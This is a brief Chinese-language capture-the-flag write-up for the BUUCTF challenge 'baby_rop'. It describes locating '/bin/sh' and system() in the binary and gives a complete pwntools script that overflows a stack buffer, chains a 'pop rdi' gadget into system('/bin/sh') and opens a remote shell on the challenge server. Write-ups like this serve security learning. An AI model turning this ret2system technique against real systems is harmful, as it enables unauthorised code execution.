buuctf [HarekazeCTF2019]baby_rop

可以在程序里找到binsh，ctrl+L,

程序本身有system函数

找到rop

修改system参数为/bin/sh，然后跳转到system运行就可以了，最后加一个假的返回地址

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

r = remote('node3.buuoj.cn',28862)
#r = process('./ciscn_2019_en_2')
#elf = ELF('./ciscn_2019_en_2')

bin_sh_addr = 0x601048
system = 0x400490
pop_di = 0x0000000000400683 # pop rdi ; ret

p = flat(['a'*0x10, 'b'*8, pop_di, bin_sh_addr, system, 0xdeadbeef])
r.sendline(p)

r.interactive()